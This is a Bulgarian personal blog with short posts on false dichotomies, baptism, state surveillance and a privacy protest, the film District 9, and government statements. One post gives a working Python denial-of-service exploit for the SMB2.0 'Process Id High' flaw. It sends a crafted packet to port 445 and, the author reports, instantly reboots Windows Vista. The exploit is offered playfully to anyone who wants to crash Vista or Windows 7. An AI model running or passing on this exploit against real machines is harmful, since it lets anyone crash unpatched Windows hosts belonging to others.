Блогът на Фил

Някъде из блоговете бях чел за начините за манипулиране и ако не ме лъже паметта и мисловните ми способности фалшиви дихотомии се наричат нещата, които ме дразнят като аргументрация в разни спорове из Интернет. Конкретното поредно напомняне за този феномен са коментарите на тази новина.
А по принцип става въпрос за такива “съждения”:
Ако критикуваш ГЕРБ си комунист
Ако критикуваш Русия си агент на евреите
Ако критикуваш САЩ си обичащ/работещ за КГБ комунист
Ако си атеист, си комунист
Ако си демократ, трябва да си християнин
Ако си религиозен и не си християнин, си сектант/терорист/сатанист
Този начин на мислене, ако въобще може да се нарече така, ме вбесява. Толкова е тъпо, ограничено и дребнаво, че просто ми се повдига. Прав беше Васко като ни се смееше, че мислим дуалистично. Така е, много ни харесва картината на света в два бита с максимална разлика в контраста. Някак си по-лесно се живее, знаеш кой да обичаш и кой да мразиш. Хората или са с теб, или са против теб. Или са тарикати или балъци. Или пичове или пръчове. Или пички или крави.

Ако си спомняте кои избираха руските гимназии
Ако се сещате кои избираха руска филология
Ако се сещате какви бяха учителите по руски
Ако имате представа какво се учи (и по-скоро какво НЕ СЕ учи във филологиите)
Можете ли да ми обясните как един такъв човек е:
“специалист в областта на образованието”
“изобщо не е лоша кандидатура за кмет”
“има голям потенциал в оправянето на образованието, познава проблемите в дълбочина”
Е, както столицата, така и (у)бразованието ги чака светло бъдеще…в някоя друга вселена

Израснал в семейство на вярващи винаги съм приемал без да се замислям много кръщението в църква за нещо хубаво. Преди няколко дни Деси отиде да види приятели, живеещи в чужбина, които бяха дошли в България, за да кръстят детето си. И тя доведе съзнанието ми следния проблем – освен че е запомнящ се ритуал като женитбата, погребението и т.н., този акт всъщност означава и определяне на религията на детето. А това, както можете да се досетите, всъщност не е много честно. Но вместо да се впускам в подробен пост, за който нямам време – вижте тези филмчета на Ричард Докинс.

Леле, колко изтрещяли религиозни фанатици имало в България, направо не е за вярване. Който има време за убиване, да разгледа коментарите на тази статия.

От коментарите на новината за Свобода, а не страх 2009 в Дир-а:
По-добре защитена и трудна за подправяне лична карта вместо да осъмнеш длъжник или да установиш, че не притежаваш жилището си, защото някой е подправил за 200 лева сегашната ти жалка лична карта, на която и майка ти няма да те познае по снимката.

Стига сте ревали бе. Реве само престъпника. Аз съм чист пред съвестта си и си давам отпечатъците на МВР доброволно, без рев. Давам и да ми подслушват телефоните, защото знам, че там няма престъпления.

От както има интврнвт, това е практика.. Разликат е, че в единия случай знаеш!?

всички искате престъпленията да се разкриват за пет минути, но това от въздуха ли трябва да става. Естествено, че трябва да има контрол на комуникациите, които да бъдат законово уредени, както е в САЩ и Западна Европа. Може би някой е чувал за системата Ешалон – това е в отговор на тези които питат дали има в други държави подобен контрол

В опит да категоризирам реакциите на хората, които не смятат, че това е проблем откривам следните шаблони:
Робска психика: Така е, но няма какво да направим, винаги е било така, винаги и ще бъде.
Късогледство: Който няма какво да крие няма от какво да се страхува
Аз да не падам за пръв път от Луната: Така се чувствам по-сигурен, ще хващат престъпниците по лесно и престъпленията ще намалеят

Тази година отново имаше протест срещу възобновеното лобиране за неконтролирано следене на българските граждани от страна на службите. За съжаление броя хора, които решиха да подкрепят инициативата беше приблизително колкото хора чакат метрото на станция “Стадион Васил Левски”, т.е. малко повече от журналистите, които бяха малко повече от полицаите. Коментирах с приятели, че ми е странно как групи, които би трябвало да са заинтересовани за личната си свобода изглежда не присъстваха – например хомосексуалистите, които в нашата не много толерантна татковина със сигурност има за какво да се притесняват, ако държавата, полицията, работодателите и др. знаят за тяхната сексуална ориентация. В този ред на мисли хората, притежаващи малък бизнес също трябва да се притесняват, особено ако са в сектор, в който големите играчи имат апетити. Както и журналистите – все пак очаквам да не обръщат и другата страна когато дойдат хората с чуковете да ги посъветват да не пишат “неудобни” неща. Но за зла ирония, един журналист, разпитващ протестиращите изказа твърдението, че като службите следят повече се чувствал по-сигурен. На въпроса защо след като е съгласен (съгласен е), че се знае кои са престъпниците те не са в затвора не успя да отговори.
Странно е, че имаше няколко късо подстригани момчета с черни “бомбъри”, които говореха нещо ехидно за еколозите (Бого Шопов е от Зелените) и нещо за “мангали”. Честно казано ми се струва възможна версията да са пратени на протеста по някаква причина, най-малкото за да бъдат те показани по телевизията – ако протестът въобще е отразен де.
Разбира се, грешната логика, че като няма какво да криеш няма от какво да се страхуваш сработва и този път и хората не намират смисъл в подобни начинания.
Единственото изцяло положително нещо за мен беше, че се събираха подписи за учредяване на пиратска партия.
Редакция:
Изглежда или аз съм подценил броя на хората (присъединих се към шествието, не в градинката между СУ и Народното събрание) или част от хората не са тръгнали със шествието, тъй като от част снимките е видно, че хората са повече, отколкото аз ги описвам.

Не можах да се въздържа и изгледах District 9. Моята оценка за него е 10 от 10, но подозирам, че повечето хора в моя сектор на галактиката няма да го оценят.
Филмът има някои логически/технологични несъответствия. Но това няма значение. Филмът можеше да разкаже абсолютно същата история без да има никакъв фантастичен елемент в него. Защото той е една метафора. И посланието му е, че ние хората сме ксенофоби, но и жестоки не само към тези, които не принадлежат на нашето племе/прайд/село/раса, а и включително към такива, които принадлежат. Така че ако смятате, че циганите, турците, негрите и т.н. са по-малко хора от вас и не заслужават същото отношение, което и вие, филмът няма да ви хареса.

BSOD или синия екран, както му казваме тук беше неизменна част от работата с Windows 98. Спомням си с умиление доброто старо време, когато можеше да пуснеш ping от един компютър и да забиеш съседния. И в които времето за разбиване на парола на споделените папки беше линейно спрямо дължината. Ако и на вас ви липсва това време – не се притеснявайте, можете да забиете Vista или Windows 7 почти толкова лесно – благодарение на тази уязвимост.
Ето ви кода, както сработи при мен на Убунту – с резултат мигновено рестартиране на вистата:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
import socket
host = "192.168.1.7", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket.socket()
s.connect(host)
s.send(buff)
s.close()

Според новина в Дира, нашата външна министърка казала относно налагането на санкции от ЕС, че “Ние си поставихме за цел да убедим с непосредствената си воля, че новото правителство предприема конкретни мерки да се постигнат конкретни резултати, за да не се разширява обхватът на механизъма”. Което според мен освен жалкият опит да звучи “по-така” означава, че нашето правителство няма намерение да се бори за премахване на санкциите, а да не се разшири…обхвата…на механизъма…разбираш ли